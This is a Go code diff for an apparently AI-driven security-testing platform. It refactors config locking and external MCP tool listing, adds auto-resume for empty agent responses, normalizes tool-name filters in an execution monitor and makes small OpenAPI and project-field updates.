@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
} }
} }
includeExternal := true
if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
includeExternal = false
}
refreshExternal := false
if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
refreshExternal = true
}
// 按外部 MCP 名称筛选(MCP 管理页左侧卡片 → 右侧工具列表联动)
externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
// 快照配置后立即释放锁,避免外部 MCP 网络 IO 阻塞整个配置子系统
h.mu.RLock()
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
roles := h.config.Roles
toolDescriptionMode := h.config.Security.ToolDescriptionMode
mcpServer := h.mcpServer
externalMCPMgr := h.externalMCPMgr
h.mu.RUnlock()
pickDesc := func(shortDesc, fullDesc string) string {
return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
}
// 解析角色参数,用于过滤工具并标注启用状态 // 解析角色参数,用于过滤工具并标注启用状态
roleName := c.Query("role") roleName := c.Query("role")
var roleToolsSet map[string]bool // 角色配置的工具集合 var roleToolsSet map[string]bool // 角色配置的工具集合
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色) var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
if roleName != "" && roleName != "默认" && h.config.Roles != nil { if roleName != "" && roleName != "默认" && roles != nil {
if role, exists := h.config.Roles[roleName]; exists && role.Enabled { if role, exists := roles[roleName]; exists && role.Enabled {
if len(role.Tools) > 0 { if len(role.Tools) > 0 {
// 角色配置了工具列表,只使用这些工具 // 角色配置了工具列表,只使用这些工具
roleToolsSet = make(map[string]bool) roleToolsSet = make(map[string]bool)
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
// 获取所有内部工具并应用搜索过滤 // 获取所有内部工具并应用搜索过滤
configToolMap := make(map[string]bool) configToolMap := make(map[string]bool)
allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools)) allTools := make([]ToolConfigInfo, 0, len(securityTools))
for _, tool := range h.config.Security.Tools { for _, tool := range securityTools {
configToolMap[tool.Name] = true configToolMap[tool.Name] = true
toolInfo := ToolConfigInfo{ toolInfo := ToolConfigInfo{
Name: tool.Name, Name: tool.Name,
Description: h.pickToolDescription(tool.ShortDescription, tool.Description), Description: pickDesc(tool.ShortDescription, tool.Description),
Enabled: tool.Enabled, Enabled: tool.Enabled,
IsExternal: false, IsExternal: false,
} }
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
} }
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具) // 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
if h.mcpServer != nil { if mcpServer != nil {
mcpTools := h.mcpServer.GetAllTools() mcpTools := mcpServer.GetAllTools()
for _, mcpTool := range mcpTools { for _, mcpTool := range mcpTools {
// 跳过已经在配置文件中的工具(避免重复) // 跳过已经在配置文件中的工具(避免重复)
if configToolMap[mcpTool.Name] { if configToolMap[mcpTool.Name] {
continue continue
} }
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description) description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
toolInfo := ToolConfigInfo{ toolInfo := ToolConfigInfo{
Name: mcpTool.Name, Name: mcpTool.Name,
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
} }
} }
// 获取外部MCP工具 // 获取外部MCP工具(可走缓存,不持有 config 锁)
if h.externalMCPMgr != nil { if includeExternal && externalMCPMgr != nil {
// 创建context用于获取外部工具 if refreshExternal {
externalMCPMgr.InvalidateAllToolCaches()
}
ctx := context.Background() ctx := context.Background()
externalTools := h.getExternalMCPTools(ctx) externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
// 应用搜索过滤和角色配置 // 应用搜索过滤和角色配置
for _, toolInfo := range externalTools { for _, toolInfo := range externalTools {
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态 // 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用 // 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
if externalMCPFilter != "" {
filtered := make([]ToolConfigInfo, 0)
for _, tool := range allTools {
if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
filtered = append(filtered, tool)
}
}
allTools = filtered
}
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致 // 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
sort.SliceStable(allTools, func(i, j int) bool { sort.SliceStable(allTools, func(i, j int) bool {
key := func(t ToolConfigInfo) string { key := func(t ToolConfigInfo) string {
@@ -1906,50 +1940,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
} }
// getExternalMCPTools 获取外部MCP工具列表(公共方法) // getExternalMCPTools 获取外部MCP工具列表(公共方法)
// 返回 ToolConfigInfo 列表,已处理启用状态和描述信息
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo { func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
var result []ToolConfigInfo
if h.externalMCPMgr == nil { if h.externalMCPMgr == nil {
return nil
}
return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
}
// getExternalMCPToolsWithManager 获取外部 MCP 工具(不持有 config 锁,供 GetTools 等热路径使用)
func (h *ConfigHandler) getExternalMCPToolsWithManager(
ctx context.Context,
mgr *mcp.ExternalMCPManager,
pickDesc func(shortDesc, fullDesc string) string,
) []ToolConfigInfo {
var result []ToolConfigInfo
if mgr == nil {
return result return result
} }
// 使用较短的超时时间(5秒)进行快速失败,避免阻塞页面加载
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second) timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
defer cancel() defer cancel()
externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx) externalTools, err := mgr.GetAllTools(timeoutCtx)
if err != nil { if err != nil {
// 记录警告但不阻塞,继续返回已缓存的工具(如果有)
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具", h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
zap.Error(err), zap.Error(err),
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"), zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
) )
} }
// 如果获取到了工具(即使有错误),继续处理
if len(externalTools) == 0 { if len(externalTools) == 0 {
return result return result
} }
externalMCPConfigs := h.externalMCPMgr.GetConfigs() externalMCPConfigs := mgr.GetConfigs()
for _, externalTool := range externalTools { for _, externalTool := range externalTools {
// 解析工具名称:mcpName::toolName
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name) mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
if mcpName == "" || actualToolName == "" { if mcpName == "" || actualToolName == "" {
continue // 跳过格式不正确的工具 continue
} }
// 计算启用状态 enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
// 处理描述信息
description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
result = append(result, ToolConfigInfo{ result = append(result, ToolConfigInfo{
Name: actualToolName, Name: actualToolName,
Description: description, Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
Enabled: enabled, Enabled: enabled,
IsExternal: true, IsExternal: true,
ExternalMCP: mcpName, ExternalMCP: mcpName,
@@ -1970,40 +2006,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
// calculateExternalToolEnabled 计算外部工具的启用状态 // calculateExternalToolEnabled 计算外部工具的启用状态
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool { func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
}
func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
mcpName, toolName string,
configs map[string]config.ExternalMCPServerConfig,
mgr *mcp.ExternalMCPManager,
) bool {
cfg, exists := configs[mcpName] cfg, exists := configs[mcpName]
if !exists { if !exists {
return false return false
} }
// 首先检查外部MCP是否启用
if !cfg.ExternalMCPEnable { if !cfg.ExternalMCPEnable {
return false // MCP未启用,所有工具都禁用 return false
} }
// MCP已启用,检查单个工具的启用状态 if cfg.ToolEnabled != nil {
// 如果ToolEnabled为空或未设置该工具,默认为启用(向后兼容) if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
if cfg.ToolEnabled == nil {
// 未设置工具状态,默认为启用
} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
// 使用配置的工具状态
if !toolEnabled {
return false return false
} }
} }
// 工具未在配置中,默认为启用
// 最后检查外部MCP是否已连接 if mgr == nil {
client, exists := h.externalMCPMgr.GetClient(mcpName) return false
}
client, exists := mgr.GetClient(mcpName)
if !exists || !client.IsConnected() { if !exists || !client.IsConnected() {
return false // 未连接时视为禁用 return false
} }
return true return true
} }
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度 // pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
// 调用方若已持有 h.mu 读锁,须直接读 mode 并调用 pickToolDescriptionWithMode,避免嵌套 RLock 死锁。
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string { func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full" return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
}
func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
description := shortDesc description := shortDesc
if useFull { if useFull {
description = fullDesc description = fullDesc
@@ -2018,23 +2062,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据) // GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
func (h *ConfigHandler) GetToolSchema(c *gin.Context) { func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
h.mu.RLock()
defer h.mu.RUnlock()
toolName := c.Param("name") toolName := c.Param("name")
if toolName == "" { if toolName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"}) c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
return return
} }
// 检查是否为外部工具(格式:mcpName::toolName
externalMCP := c.Query("external_mcp") externalMCP := c.Query("external_mcp")
if externalMCP != "" { if externalMCP != "" {
// 外部 MCP 工具 h.mu.RLock()
if h.externalMCPMgr != nil { externalMCPMgr := h.externalMCPMgr
h.mu.RUnlock()
if externalMCPMgr != nil {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel() defer cancel()
externalTools, _ := h.externalMCPMgr.GetAllTools(ctx) externalTools, _ := externalMCPMgr.GetAllTools(ctx)
fullName := externalMCP + "::" + toolName fullName := externalMCP + "::" + toolName
for _, t := range externalTools { for _, t := range externalTools {
if t.Name == fullName { if t.Name == fullName {
@@ -2047,8 +2090,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
return return
} }
// 内部工具:从 YAML 配置的 Parameters 构建 h.mu.RLock()
for _, tool := range h.config.Security.Tools { securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
mcpServer := h.mcpServer
h.mu.RUnlock()
for _, tool := range securityTools {
if tool.Name == toolName { if tool.Name == toolName {
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)}) c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
return return
@@ -2056,8 +2103,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
} }
// MCP 注册工具(如知识检索) // MCP 注册工具(如知识检索)
if h.mcpServer != nil { if mcpServer != nil {
for _, mt := range h.mcpServer.GetAllTools() { for _, mt := range mcpServer.GetAllTools() {
if mt.Name == toolName { if mt.Name == toolName {
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema}) c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
return return
+58
View File
@@ -9,6 +9,8 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/multiagent" "cyberstrike-ai/internal/multiagent"
"go.uber.org/zap"
) )
func (h *AgentHandler) einoRunRetryMaxAttempts() int { func (h *AgentHandler) einoRunRetryMaxAttempts() int {
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
} }
return true, nil return true, nil
} }
// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」;返回 exhausted=true 时由外层按成功结束(保留占位文案)。
// 与临时错误重试一致:仅恢复轨迹并保留本请求原始 user 文案,不向模型注入续跑说明。
func (h *AgentHandler) handleEinoEmptyResponseContinue(
baseCtx context.Context,
conversationID string,
result *multiagent.RunResult,
runErr error,
emptyResponseAttempts *int,
curHistory *[]agent.ChatMessage,
curFinalMessage *string,
segmentUserMessage string,
progressCallback func(eventType, message string, data interface{}),
sendProgress func(msg string, extra map[string]interface{}),
) (handled bool, exhausted bool) {
if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
return false, false
}
maxAttempts := h.einoRunRetryMaxAttempts()
*emptyResponseAttempts++
if *emptyResponseAttempts > maxAttempts {
if h.logger != nil {
h.logger.Warn("eino empty response auto resume exhausted",
zap.String("conversationId", conversationID),
zap.Int("maxAttempts", maxAttempts))
}
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
h.persistEinoAgentTraceForResume(conversationID, result)
}
return false, true
}
attemptNo := *emptyResponseAttempts
if h.logger != nil {
h.logger.Info("eino empty response, auto resume from trace",
zap.String("conversationId", conversationID),
zap.Int("attempt", attemptNo),
zap.Int("maxAttempts", maxAttempts))
}
if progressCallback != nil {
progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文,正在基于轨迹自动续跑(%d/%d)…", attemptNo, maxAttempts), map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
"attempt": attemptNo,
"maxAttempts": maxAttempts,
"resumeKind": "trace_segment",
})
}
h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
if sendProgress != nil {
sendProgress("已恢复上下文,正在继续推理…", map[string]interface{}{
"conversationId": conversationID,
"source": "empty_response_continue",
})
}
return true, false
}
+67 -15
View File
@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
var cumulativeMCPExecutionIDs []string var cumulativeMCPExecutionIDs []string
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。 // 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
var mainIterationOffset int var mainIterationOffset int
@@ -237,9 +238,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs) cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
} }
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
)
if exhaustedEmpty {
runErr = nil
transientRunAttempts = 0
timeoutCancel()
break
}
if handledEmpty {
mainIterationOffset += segmentMainIterationMax
transientRunAttempts = 0
timeoutCancel()
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
h.tasks.UpdateTaskStatus(conversationID, "running")
continue
}
if runErr == nil { if runErr == nil {
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。 // 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
timeoutCancel() timeoutCancel()
break break
} }
@@ -418,21 +442,49 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
return return
} }
result, runErr := multiagent.RunEinoSingleChatModelAgent( curHist := prep.History
taskCtx, curMsg := prep.FinalMessage
h.config, var result *multiagent.RunResult
&h.config.MultiAgent, var runErr error
h.agent, var transientRunAttempts int
h.logger, var emptyResponseAttempts int
prep.ConversationID, for {
prep.FinalMessage, result, runErr = multiagent.RunEinoSingleChatModelAgent(
prep.History, taskCtx,
prep.RoleTools, h.config,
progressCallback, &h.config.MultiAgent,
chatReasoningToClientIntent(req.Reasoning), h.agent,
h.projectBlackboardBlock(prep.ConversationID), h.logger,
) prep.ConversationID,
if runErr != nil { curMsg,
curHist,
prep.RoleTools,
progressCallback,
chatReasoningToClientIntent(req.Reasoning),
h.projectBlackboardBlock(prep.ConversationID),
)
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
)
if exhaustedEmpty {
runErr = nil
break
}
if handledEmpty {
continue
}
if runErr == nil {
break
}
if handled, fatalErr := h.handleEinoTransientRetryContinue(
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
); handled {
continue
} else if fatalErr != nil {
runErr = fatalErr
}
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) { if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
h.persistEinoAgentTraceForResume(prep.ConversationID, result) h.persistEinoAgentTraceForResume(prep.ConversationID, result)
} }
+10 -11
View File
@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
} }
toolCount := toolCounts[name] toolCount := toolCounts[name]
errorMsg := "" errorMsg := externalMCPStatusError(h.manager, name, status)
if status == "error" {
errorMsg = h.manager.GetError(name)
}
result[name] = ExternalMCPResponse{ result[name] = ExternalMCPResponse{
Config: cfg, Config: cfg,
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
} }
} }
// 获取错误信息
errorMsg := ""
if status == "error" {
errorMsg = h.manager.GetError(name)
}
c.JSON(http.StatusOK, ExternalMCPResponse{ c.JSON(http.StatusOK, ExternalMCPResponse{
Config: cfg, Config: cfg,
Status: status, Status: status,
ToolCount: toolCount, ToolCount: toolCount,
Error: errorMsg, Error: externalMCPStatusError(h.manager, name, status),
}) })
} }
// externalMCPStatusError 在 error/disconnected 状态下返回最近错误(含断连原因)。
func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
if status != "error" && status != "disconnected" {
return ""
}
return manager.GetError(name)
}
// AddOrUpdateExternalMCP 添加或更新外部MCP配置 // AddOrUpdateExternalMCP 添加或更新外部MCP配置
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) { func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
var req AddOrUpdateExternalMCPRequest var req AddOrUpdateExternalMCPRequest
+10
View File
@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
} }
} }
func TestExternalMCPStatusError(t *testing.T) {
manager := mcp.NewExternalMCPManager(zap.NewNop())
if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
t.Fatalf("connected status should not return error, got %q", got)
}
if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
t.Fatalf("connecting status should not return error, got %q", got)
}
}
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) { func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
router, handler, _ := setupTestRouter() router, handler, _ := setupTestRouter()
+36 -4
View File
@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
// 解析状态筛选参数 // 解析状态筛选参数
status := c.Query("status") status := c.Query("status")
// 解析工具筛选参数 // 解析工具筛选参数(兼容 mcp__tool 与内部 mcp::tool
toolName := c.Query("tool") toolName := normalizeToolNameFilter(c.Query("tool"))
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName) executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
stats := h.loadStats() stats := h.loadStats()
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
for _, exec := range allExecutions { for _, exec := range allExecutions {
matchStatus := status == "" || exec.Status == status matchStatus := status == "" || exec.Status == status
// 支持部分匹配(模糊搜索) // 支持部分匹配(模糊搜索)
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName)) matchTool := toolNameFilterMatches(exec.ToolName, toolName)
if matchStatus && matchTool { if matchStatus && matchTool {
filtered = append(filtered, exec) filtered = append(filtered, exec)
} }
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
for _, exec := range allExecutions { for _, exec := range allExecutions {
matchStatus := status == "" || exec.Status == status matchStatus := status == "" || exec.Status == status
// 支持部分匹配(模糊搜索) // 支持部分匹配(模糊搜索)
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName)) matchTool := toolNameFilterMatches(exec.ToolName, toolName)
if matchStatus && matchTool { if matchStatus && matchTool {
filtered = append(filtered, exec) filtered = append(filtered, exec)
} }
@@ -584,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs))) h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"}) c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
} }
// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
func normalizeToolNameFilter(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return name
}
if strings.Contains(name, "::") {
return name
}
if idx := strings.Index(name, "__"); idx > 0 {
return name[:idx] + "::" + name[idx+2:]
}
return name
}
func toolNameFilterMatches(storedName, filter string) bool {
filter = strings.TrimSpace(filter)
if filter == "" {
return true
}
storedLower := strings.ToLower(storedName)
filterLower := strings.ToLower(filter)
if strings.Contains(storedLower, filterLower) {
return true
}
normFilter := strings.ToLower(normalizeToolNameFilter(filter))
if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
return true
}
return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
}
+69 -17
View File
@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表 // 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
var cumulativeMCPExecutionIDs []string var cumulativeMCPExecutionIDs []string
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。 // 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
var mainIterationOffset int var mainIterationOffset int
@@ -249,9 +250,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs) cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
} }
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
)
if exhaustedEmpty {
runErr = nil
transientRunAttempts = 0
timeoutCancel()
break
}
if handledEmpty {
mainIterationOffset += segmentMainIterationMax
transientRunAttempts = 0
timeoutCancel()
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
h.tasks.UpdateTaskStatus(conversationID, "running")
continue
}
if runErr == nil { if runErr == nil {
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。 // 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
timeoutCancel() timeoutCancel()
break break
} }
@@ -430,23 +454,51 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments) return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
}) })
result, runErr := multiagent.RunDeepAgent( curHist := prep.History
taskCtx, curMsg := prep.FinalMessage
h.config, var result *multiagent.RunResult
&h.config.MultiAgent, var runErr error
h.agent, var transientRunAttempts int
h.logger, var emptyResponseAttempts int
prep.ConversationID, for {
prep.FinalMessage, result, runErr = multiagent.RunDeepAgent(
prep.History, taskCtx,
prep.RoleTools, h.config,
progressCallback, &h.config.MultiAgent,
h.agentsMarkdownDir, h.agent,
strings.TrimSpace(req.Orchestration), h.logger,
chatReasoningToClientIntent(req.Reasoning), prep.ConversationID,
h.projectBlackboardBlock(prep.ConversationID), curMsg,
) curHist,
if runErr != nil { prep.RoleTools,
progressCallback,
h.agentsMarkdownDir,
strings.TrimSpace(req.Orchestration),
chatReasoningToClientIntent(req.Reasoning),
h.projectBlackboardBlock(prep.ConversationID),
)
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
)
if exhaustedEmpty {
runErr = nil
break
}
if handledEmpty {
continue
}
if runErr == nil {
break
}
if handled, fatalErr := h.handleEinoTransientRetryContinue(
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
); handled {
continue
} else if fatalErr != nil {
runErr = fatalErr
}
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) { if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
h.persistEinoAgentTraceForResume(prep.ConversationID, result) h.persistEinoAgentTraceForResume(prep.ConversationID, result)
} }
+3 -3
View File
@@ -237,7 +237,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{ "status": map[string]interface{}{
"type": "string", "type": "string",
"description": "状态", "description": "状态",
"enum": []string{"open", "closed", "fixed"}, "enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
}, },
"target": map[string]interface{}{ "target": map[string]interface{}{
"type": "string", "type": "string",
@@ -575,7 +575,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{ "status": map[string]interface{}{
"type": "string", "type": "string",
"description": "状态", "description": "状态",
"enum": []string{"open", "closed", "fixed"}, "enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
}, },
"type": map[string]interface{}{ "type": map[string]interface{}{
"type": "string", "type": "string",
@@ -1344,7 +1344,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"delete": map[string]interface{}{ "delete": map[string]interface{}{
"tags": []string{"对话管理"}, "tags": []string{"对话管理"},
"summary": "删除对话", "summary": "删除对话",
"description": "删除指定的对话及其所有相关数据(消息、漏洞等)。**此操作不可恢复**。", "description": "删除指定的对话及其会话数据(消息、攻击链等)。**漏洞记录会保留**,仅解除与会话的关联。**此操作不可恢复**。",
"operationId": "deleteConversation", "operationId": "deleteConversation",
"parameters": []map[string]interface{}{ "parameters": []map[string]interface{}{
{ {
+12 -2
View File
@@ -12,6 +12,16 @@ import (
"go.uber.org/zap" "go.uber.org/zap"
) )
const maxProjectDescriptionRunes = 4000
func clampProjectDescription(s string) string {
r := []rune(s)
if len(r) <= maxProjectDescriptionRunes {
return s
}
return string(r[:maxProjectDescriptionRunes])
}
// ProjectHandler 项目管理处理器。 // ProjectHandler 项目管理处理器。
type ProjectHandler struct { type ProjectHandler struct {
db *database.DB db *database.DB
@@ -48,7 +58,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
} }
p := &database.Project{ p := &database.Project{
Name: strings.TrimSpace(req.Name), Name: strings.TrimSpace(req.Name),
